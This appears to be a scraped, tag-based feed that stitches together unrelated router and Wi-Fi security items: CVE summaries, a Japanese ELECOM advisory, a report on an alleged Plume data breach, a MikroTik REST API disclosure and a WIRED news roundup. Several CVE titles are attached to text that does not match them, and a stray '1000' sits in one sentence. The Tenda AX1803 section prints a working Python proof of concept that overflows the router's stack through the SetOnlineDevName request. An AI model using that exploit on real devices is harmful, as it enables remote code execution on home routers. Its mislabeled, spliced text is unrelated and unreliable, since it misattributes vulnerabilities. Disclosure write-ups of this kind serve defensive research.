An issue was discovered on Bell HomeHub 3000 SG48222070 devices. There is XSS related to the email field and the login page.

The Access control feature of your Home Hub lets 1000 you set the time and day a particular device can access the Internet. It blocks all Internet features, including email, social messaging or Skype.

There are two ways you can control access to the Internet:

1.  Create a schedule for specific devices
2.  Always block a device

As an example, you can limit the time your children spend online by specifying a day and time when their device (laptop, tablet, etc.) cannot access the Internet.

Access control only blocks Internet connections; it will not prevent devices from accessing other devices on the local network (e.g. , network printers, local file sharing between devices).  
For a Home Hub  2000 modem and above, manage Access control with the Bell Wi-Fi app.

CVE-2020-11448: Access control in the Home Hub modems : What is Access control

Inadequate encryption strength vulnerability in multiple routers provided by ELECOM CO.,LTD. and LOGITEC CORPORATION allows a network-adjacent unauthenticated attacker to guess the encryption key used for wireless LAN communication and intercept the communication. As for the affected products/versions, see the information provided by the vendor under [References] section.

**セキュリティ情報**

*   セキュリティ情報

平素は格別のご高配を賜り、厚く御礼申し上げます。  
当社製の無線LANルーターなどネットワーク製品の一部において、以下の脆弱性が判明いたしました。  
製品型番により対策内容が異なるため、お持ちの製品をご確認いただき対象であった場合は、安全なネットワーク環境を維持するため、速やかに対策の実施をお願いいたします。

今後も当社では新たな脆弱性問題が発生した際には、速やかに公表のうえ対策を行ってまいります。  
この度は、お客様にご迷惑をおかけしますことを深くお詫び申し上げます。何卒ご理解とご協力のほどお願いいたします。

**対象製品と対処方法**

（１）対策済みのファームウェアにアップデートが必要な製品

**脆弱性内容：**悪意のあるものにログインされると、任意のコマンドが実行される可能性があります。  
**対処方法：**対策済みのファームウェアにアップデートすることで、問題を回避することができます。

◀テーブルはスクロールできます

**脆弱性内容：**工場出荷時のWi-Fi初期パスワードが推測され、悪意のあるものに利用される可能性があります。  
**対処方法：**Wi-Fiパスワードが初期状態の場合は、推測の難しい堅牢なパスワードに変更してください。

◀テーブルはスクロールできます

対象製品

Wi-Fiパスワード変更方法

関連情報

WRC-2533GHBK2-T

えれさぽ文書番号：7377

JVNVU#94119876

WRC-2533GHBK-I

WRC-1167GHBK

WRC-733GHBK

WRC-733GHBK-I

WRC-733GHBK-C

WRC-300GHBK2-I

WRC-300GHBK

WRH-300WH-H

えれさぽ文書番号：11027

WRH-300BK2-S

WRH-300WH2-S

WRH-150BK

WRH-150WH

LAN-WH300NDGPE

えれさぽ文書番号：4671

**参考情報**

*   このリリースに掲載されている会社名・製品名等は、一般に各社の商標又は登録商標です。
*   このリリースに記載の内容は、発表当時の情報です。 予告なく変更されることがありますので、あらかじめご了承ください。
*   プレス用にエレコム製品の画像をご希望の方は、画像データベースシステムをご利用ください。

CVE-2023-43757: 無線LANルーター・中継器のセキュリティ向上のための ファームウェアアップデート・対策実施のお願い | エレコム株式会社 ELECOM

By Waqas
Plume has not confirmed the data breach but has acknowledged that the company is aware of the claims made by hackers.
This is a post from HackRead.com Read the original post: Hackers Claim Major Data Breach at Smart WiFi Provider Plume

An X (Twitter) account, operated by hackers using the handle @MonkeyInject, alleges that the breach was facilitated by a former employee of Plume.

The smart Wi-Fi service provider, Plume, has apparently fallen victim to a data breach. The perpetrators, claiming responsibility for the incident, made their announcement on the notorious Breach Forums.

This is the same forum where, in the past few days, we observed the data leak of a scraped LinkedIn user database comprising 35 million entries and two scraped databases from Chess.com.

The Palo Alto, California-based Plume is a SaaS (software-as-a-company) platform offering users AI security, smart Wi-Fi, and cloud management services, and has footprints in over 45 countries, covering 55 million homes and small businesses.

The attackers are currently claiming to have stolen over 20GB of the company’s Wi-Fi database with over 15 million lines of information. Plume, however, has not confirmed the news, stating that it is aware of the attackers’ claims and has launched an investigation to verify these claims.

What the hackers are claiming (Screenshot: Hackread.com)

At the same time, dissatisfied with Plume’s response, the hackers have released two CSV files, each containing purported data of the company’s customers and employees. As reported by Hackread.com, the first file includes email addresses, full names, countries, device details, and other information related to the alleged 26,000 customers of the company.

The second file comprises 3,086 email addresses and full names, which the hackers claim belong to Plume’s employees. A majority of the leaked email addresses are associated with the @plume.com and @plumewifi.com domains.

The alleged Plume data as seen by Hackread.com

Darren James – Senior Product Manager, Specops Software – An Outpost24 Company commented on the alleged breach adding, “Any data breach that involves the loss of personal information is always a huge concern, not just for the affected organisation, but specifically for people whose data has been stolen.”

“Although we don’t have many details on this particular breach right now, even the loss of a username or email address can open an attack vector on any site where you have also used those same details,” James emphasised.

“My advice for anyone affected by such breaches, it is imperative that they change their passwords across all platforms that use the same username as soon as possible, ideally using a password that hasn’t already been breached,” he said.

****Hackers on X (Twitter)****

The hackers have also created an X (Twitter) profile to disclose details of the attack and stolen data on their handle @MonkeyInject, which is an interesting step as hackers usually hide their identities and operate covertly. Addressing the X community, the hackers wrote that:

“We hope this message finds you well. We regret to inform you that there has been a security breach at @plume, affecting approximately 8.5 million users, all staff, application tokens, and off-site locations, particularly in Metro Manila.”

In subsequent tweets, they noted that the leak includes email addresses, first and last names, device details, IP addresses, user IDs, city, cards, carriers, and other data. The hacker provided a preview of the information on their Twitter page to legitimize their claims.

MonkeyInject also revealed that the breach was facilitated by a former employee of Plume, who left the company in 2023 but still possessed access rights, indicating Plume’s lackluster approach toward implementing robust security protocols.

The hacker on X (Screenshot: Hackread.com)

The hackers gave the company 48 hours to comply with their demands otherwise, they would disclose more data. They also encouraged Plume to improve its access control policies to prevent similar incidents.

“This lapse in access management is a critical flaw that requires immediate attention. To safeguard the integrity of the affected data and protect the privacy of our users, we kindly request @plume’s prompt compliance with our demands within the next 48 hours. Failure to do so may result in the disclosure and sharing of additional sensitive information,” the hackers tweeted.

****Stay Tuned for Updates!****

Nevertheless, Hackread.com is closely monitoring the situation, and this article will be updated accordingly, taking into account any responses from Plume and in the event that the hackers decide to leak the entire trove of data.

****_RELATED ARTICLES_****

1.  **IBM Notifies Janssen CarePath Customers of Data Breach**
2.  **Human Error: Casio ClassPad Data Breach Impacting 148 Countries**
3.  **Sony Data Breach via MOVEit Vulnerability Affects Thousands in US**

Hackers Claim Major Data Breach at Smart WiFi Provider Plume

MikroTik RouterOS v7.1 to 7.11 was discovered to contain incorrect access control mechanisms in place for the Rest API.

Recently, Mikrotik added a REST server as a new API for managing the router. It is a nice alternative to their proprietary API when automating RouterOS.

However, young software usually contains bugs. Sometimes, these bugs are security-related, and, together with not-so-safe defaults, they may create a vulnerability.

This vulnerability has been assigned the ID CVE-2023-41570.

**Background**

RouterOS (from Mikrotik) is a closed-source Linux-based operating system for network appliances, specifically switches, routers and firewalls. It is used in Mikrotik appliances (such as RouterBOARD), but it can be downloaded and installed on other devices and virtual machines.

The management interfaces of RouterOS include SSH, MAC-Telnet, Winbox (a proprietary Windows-only tool), Webfig (a web user interface), and a proprietary API (additionally, ISPs have also TR-069). Since version v7.1beta4, RouterOS also includes a REST server. The REST server is started as a sub-resource of Webfig at /rest. More information on the RouterOS REST API web page.

**Authentication**

RouterOS supports local and remote user authentication and authorization databases (via RADIUS). Users belong to _groups_, each with its own permissions set. The resulting permission set is additive – it is the sum of all permissions granted by groups.

By default, only the local database is used, and three groups are present: full, with unlimited access to the router; write, with almost complete access except for file transfer (to/from the router itself) and user policies, and read, with read-only access (plus reboot privileges). Also, by default, rest-api is a specific permission granted to all groups.

Users may be restricted to logging in only from specific IP addresses or networks.

**The vulnerability**

REST APIs are protected by HTTP Basic authentication. You should provide a valid username and password pair. The username must have the rest-api (which, by default, is granted to all groups).

The vulnerability lies in the fact that, while other interfaces (SSH, Webfig, etc.) check whether the user is authorized to log in from that specific IP address, this is not the case for the REST server. **Users can access the REST server from any IP address**, even if they are not authorized in the users’ database.

To exploit this vulnerability:

*   the attacker must have a username and password pair that has rest-api permission (but no permission to log in from the attacker IP address);
*   the firewall should allow access to the web user interface from the IP address of the attacker;
*   Webfig (the web UI) must be enabled: the REST server is part of Webfig.

Note that, by default, all groups have the rest-api permission (any user is allowed to use REST APIs), and Webfig is enabled. There is no way to disable the REST server, as it is integrated into Webfig. This is unexpected; usually, services like SSH or proprietary APIs are under the “IP” -> “Services” menu with their independent entry. At the very least, there should be a flag in the Webfig service www to enable the REST server selectively (defaulting off).

So, I think the majority of those who left Webfig active don’t realize that they are exposing the REST endpoint too, and that every user can access it, regardless of the IP filter configured in the user database.

To exacerbate the problem, the read group has some dangerous permissions: sniff (to intercept traffic), reboot, and sensitive (read sensitive information, such as Wi-Fi passwords or IPSec pre-shared keys). I certainly do not expect a “read” user to reboot the router.

**Mikrotik advisory and solution**

Mikrotik released RouterOS version 7.12 with the fix (the changelog contains only a generic reference to “www - fixed allowed address setting for REST API users”).

**Timeline**

I followed the responsible disclosure process described in the “Responsible disclosure of discovered vulnerabilities” page. I reported the vulnerability at 2023-08-19 09:46:00 UTC and received the ACK at 2023-08-24 07:43:00 UTC. The fix was released in version 7.12 at 2023-11-09 09:45:00 UTC (time point from RouterOS changelog).

CVE-2023-41570: CVE-2023-41570: Access Control vulnerability in MikroTik REST API

Buffer Overflow vulnerability in Tenda AX1803 v1.0.0.1_2994 and earlier allows attackers to run arbitrary code via /goform/SetOnlineDevName.

**stack buffer overflow in tdhttpd in Tenda AX1803 1.0.0.1\_2994 and earlier allows remote authenticated users to remote code excution via SetOnlineDevName request****Overview**

**type**: Buffer Overflow vulnerability

**Manufacturer** : Tenda( (https://www.tenda.com.cn/)

**Product**: WiFi router ax1803

**Firmware download address** ： https://www.tenda.com.cn/download/detail-3421.html

**Product Information**:Tendaax1803 router adopts WiFi 6 (802.11ax) technology, and the dual band concurrency rate is up to 1775mbps (2.4ghz:574mbps, 5ghz:1201mbps). Compared with the ac1200 router of the previous generation WiFi 5 standard, the wireless rate is increased by 50% and the transmission distance is longer; Equipped with 1.5GHz high-performance quad core processor, the network load capacity is comprehensively improved, data forwarding is faster, and long-term operation is more stable; Using ofdma+mu-mimo technology, more devices can access the Internet at the same time, the transmission efficiency is significantly improved, the delay is significantly reduced, and the online games and ultra clear videos for multiple people are more fluent. It is the first choice for building a multimedia home network!

Overview of the latest version router simulation of Tenda AX1803 v1.0.0.1\_2994  

**Vulnerablity details**

Download the firmware and decompress it, use Binwalk -e to extract filesystem  

The vulnerability lies in rootfs\_In /goform/SetOnlineDevName function of /bin/tdhttpd in ubif file system. attackers can access http://routerip/goform/SetOnlineDevName , and setting a very long DevName parameter to trigger stack buffer overlow, the stack buffer overflow can be caused to achieve the effect of router remote code excution and can obtain a stable root shell through a carefully constructed payload

Request can be found in this place:  

As we can see devName section in POST request.  

formSetDeviceName function (/bin/tdhttpd) call a function to bond device name with mac information, this function is vulnerable to buffer overflow.  
  
In the "set_name_with_mac" function, devName is copied into v9 array through sprintf function with format arg "%s;1", this means sprintf would copie all the content in devName and there is no length limitation for devName.  
The v9 array is defined in here. The length of array is 256 bytes, if the devName's length longer than v9 would cause buffer overflow

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    #!/usr/bin/env python3
    import requests,sys
    from pwn import *
    
    # replace ip address here
    url = "http://192.168.10.1/goform/SetOnlineDevName"
    payload = 'a' * 0x100
    
    payload = "mac=00:00:00:00:00:01&devName=%s&nodeName=mainNode"%payload
    content_length = len(payload)
    header = {
    "Host":"192.168.10.1",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36",
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
    "Origin":"http://192.168.10.1",
    "Content-Length":"%d"%content_length,
    "Connection": "close",
    "Cookie": "password=bcf33de30ebf57e4d3785c08adec4b85cvztgb" # Note to replace the password field in the cookie
    }
    
    r = requests.post(url, headers=header, data=payload)
    
    

**result:**  
As you can see below, PC register is hijacked with payload. By constructing a payload, this can also get a stable root shell

CVE-2022-45781: Tenda AX1803 Buffer Overflow vulnerability . - XFALLEN

Netflix, Spotify, Twitter, PayPal, Slack. All down for millions of people. How a group of teen friends plunged into an underworld of cybercrime and broke the internet—then went to work for the FBI.

The Mirai Confessions: Three Young Hackers Who Built a Web-Killing Monster Finally Tell Their Story

Zephyr RTOS versions 3.5.0 and below suffer from a multitude of buffer overflow vulnerabilities.

Zephyr RTOS 3.x.0 Buffer Overflows

A vulnerability has been found in Intelbras RX 1500 1.1.9 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /WiFi.html of the component SSID Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-245065 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

CVE-2023-6103

Improper Restriction of Excessive Authentication Attempts vulnerability in Samsung Smart TV UE40D7000 version T-GAPDEUC-1033.2 and before allows attackers to cause a denial of service via WPS attack tools.

CVE-2023-41270: SMOLD TV: Old & Smart

Plus: SolarWinds is charged with fraud, New Orleans police face recognition has flaws, and new details about Okta’s October data breach emerge.

As the Israel-Hamas war continues, with Israeli troops moving into the Gaza Strip and encircling Gaza City, one piece of technology is having an outsized impact on how we see and understand the war. Messaging app Telegram, which has a history of lax moderation, has been used by Hamas to share gruesome images and videos. The information has then spread to other social networks and millions more eyeballs. Sources tell WIRED that Telegram has been weaponized to spread horrific propaganda.

Microsoft has had a hard few months when it comes to the company’s own security, with Chinese-backed hackers stealing its cryptographic signing key, continued issues with Microsoft Exchange Servers, and its customers being impacted by failings. The company has now unveiled a plan to deal with the ever-growing range of threats. It’s the Secure Future Initiative, which plans, among multiple elements, to use AI-driven tools, improve its software development, and shorten its response time to vulnerabilities.

Also this week, we’ve looked at the privacy practices of Bluesky, Mastodon, and Meta’s Threads as all of the social media platforms jostle for space in a world where X, formerly known as Twitter, continues to implode. And things aren’t exactly great with this next generation of social media. With November arriving, we now have a detailed breakdown of the security vulnerabilities and patches issued last month. Microsoft, Google, Apple, and enterprise firms Cisco, VMWare, and Citrix all fixed major security flaws in October.

And there's more. Each week, we round up the security and privacy news we didn’t cover in depth ourselves. Click the headlines to read the full stories, and stay safe out there.

The Flipper Zero is a versatile hacking tool designed for security researchers. The pocket-size pen-testing device can intercept and replay all kinds of wireless signals—including NFC, infrared, RFID, Bluetooth, and Wi-Fi. That means it's possible to read microchips and inspect signals being admitted from devices. Slightly more nefariously, we've found it can easily clone building-entry cards and read credit card details through people's clothes.

Over the last few weeks, the Flipper Zero, which costs around $170, has been gaining some traction for its ability to disrupt iPhones, particularly by sending them into denial of service (DoS) loops. As Ars Technica reported this week, the Flipper Zero, with some custom firmware, is able to send “a constant stream of messages” asking iPhones to connect via Bluetooth devices such as an Apple TV or AirPods. The barrage of notifications, which is sent by a nearby Flipper Zero, can overwhelm an iPhone and make it virtually unusable.

“My phone was getting these pop-ups every few minutes, and then my phone would reboot,” security researcher Jeroen van der Ham told Ars about a DoS attack he experienced while commuting in the Netherlands. He later replicated the attack in a lab environment, while other security researchers have also demonstrated the spamming ability in recent weeks. In van der Ham’s tests, the attack only worked on devices running iOS 17—and at the moment, the only way to prevent the attack is by turning off Bluetooth.

In 2019, hackers linked to Russia’s intelligence service broke into the network of software firm SolarWinds, planting a backdoor and ultimately finding their way into thousands of systems. This week, the US Securities and Exchange Commission charged Tim Brown, the CISO of SolarWinds, and the company with fraud and “internal control failures.” The SEC alleges that Brown and the company overstated SolarWinds’ cybersecurity practices while “understating or failing to disclose known risks.” The SEC claims that SolarWinds knew of “specific deficiencies” in the company’s security practices and made public claims that weren’t reflected in its own internal assessments.

“Rather than address these vulnerabilities, SolarWinds and Brown engaged in a campaign to paint a false picture of the company’s cyber controls environment, thereby depriving investors of accurate material information,” Gurbir S. Grewal, director of the SEC’s Division of Enforcement said in a statement. In response, Sudhakar Ramakrishna, the CEO of SolarWinds, said in a blog post that the allegations are part of a “misguided and improper enforcement action.”

For years, researchers have shown that face recognition systems, trained on millions of pictures of people, can misidentify women and people of color at disproportionate rates. The systems have led to wrongful arrests. A new investigation from Politico, focusing on a year’s worth of face recognition requests made by police in New Orleans, has found that the technology was almost exclusively used to try to identify Black people. The system also “failed to identify suspects a majority of the time,” the report says. Analysis of 15 requests for the use of face recognition technology found that only one of them was for a white suspect, and in nine cases the technology failed to find a match. Three of the six matches were also incorrect. “The data has pretty much proven that \[anti-face-recognition\] advocates were mostly correct,” one city councilor said.

Identity management company Okta has revealed more details about an intrusion into its systems, which it first disclosed on October 20. The company said the attackers, who had accessed its customer support system, accessed files belonging to 134 customers. (In these instances, customers are individual companies that subscribe to Okta’s services). “Some of these files were HAR files that contained session tokens which could in turn be used for session hijacking attacks,” the company disclosed in a blog post. These session tokens were used to “hijack” the Okta sessions of five separate companies. 1Password, BeyondTrust, and Cloudflare have all previously disclosed they detected suspicious activity, but it is not clear who the two remaining companies are.

Tag

#wifi